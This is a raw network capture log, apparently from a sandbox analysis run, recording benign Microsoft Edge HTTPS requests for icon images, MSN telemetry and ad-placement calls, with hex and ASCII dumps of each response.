2024-11-25 02:39:54 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:54 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 6aa767e1-801e-005f-34bf-3e9af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T023954Z-15b8b599d882hxlwhC1TEBfa5w000000054g00000000gxzn Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:39:54 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49815	13.107.246.40	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:54 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:54 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:54 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 46e4016d-801e-0076-1bdb-3eecbb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T023954Z-178bfbc474bh5zbqhC1NYCkdug00000006q000000000kz01 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:39:54 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49813	13.107.246.40	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:54 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:54 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:54 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 3de0ab41-e01e-004f-365c-3dac1f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T023954Z-174c587ffdf9xbcchC1TEBxkz4000000052g00000000npe9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:39:54 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49816	13.107.246.40	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:54 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:54 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:54 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: ff3df75d-201e-001d-4fe3-3eb1ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T023954Z-15b8b599d88vp97chC1TEB5pzw000000059000000000bndw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-25 02:39:54 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49814	13.107.246.40	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:54 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:54 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:54 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 6e533cfd-401e-0006-17bf-3e9f7f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T023954Z-178bfbc474bp8mkvhC1NYCzqnn00000006n000000000fe18 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:39:54 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49812	13.107.246.40	443	1112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:54 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:55 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:54 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 844932cf-a01e-0061-17e3-3e2cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T023954Z-178bfbc474bp8mkvhC1NYCzqnn00000006r0000000007z9k Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-25 02:39:55 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49817	20.42.73.30	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:55 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732502392385&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3781 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=05128E14A2366A7423409B56A39E6B9C; _EDGE_S=F=1&SID=01BE231233A76E8E38A73650320E6F90; _EDGE_V=1
2024-11-25 02:39:55 UTC	3781	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 30 32 3a 33 39 3a 35 32 2e 33 38 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 38 64 32 65 34 36 35 35 2d 61 38 36 35 2d 34 30 34 66 2d 39 32 32 62 2d 63 35 36 31 37 33 34 65 64 31 64 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 30 33 38 32 33 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-25T02:39:52.381Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"8d2e4655-a865-404f-922b-c561734ed1d5","epoch":"1550382370"},"app":{"locale
2024-11-25 02:39:55 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=c3ab8f7afbb14d15849a77b5c8e9227d&HASH=c3ab&LV=202411&V=4&LU=1732502395479; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 02:39:55 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e52137f3422943069a9550b4e06ad9a5; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 03:09:55 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3094 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 02:39:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49818	23.96.180.189	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:55 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=05128E14A2366A7423409B56A39E6B9C&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=bca6dcac93404046d4ee4a032e480458 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=05128E14A2366A7423409B56A39E6B9C; _EDGE_S=F=1&SID=01BE231233A76E8E38A73650320E6F90; _EDGE_V=1
2024-11-25 02:39:55 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 02:39:55 GMT Connection: close
2024-11-25 02:39:55 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49823	104.117.182.32	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:55 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:55 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=296961 Expires: Thu, 28 Nov 2024 13:09:16 GMT Date: Mon, 25 Nov 2024 02:39:55 GMT Connection: close
2024-11-25 02:39:55 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49822	104.117.182.32	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:55 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:56 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=429390 Expires: Sat, 30 Nov 2024 01:56:25 GMT Date: Mon, 25 Nov 2024 02:39:55 GMT Connection: close
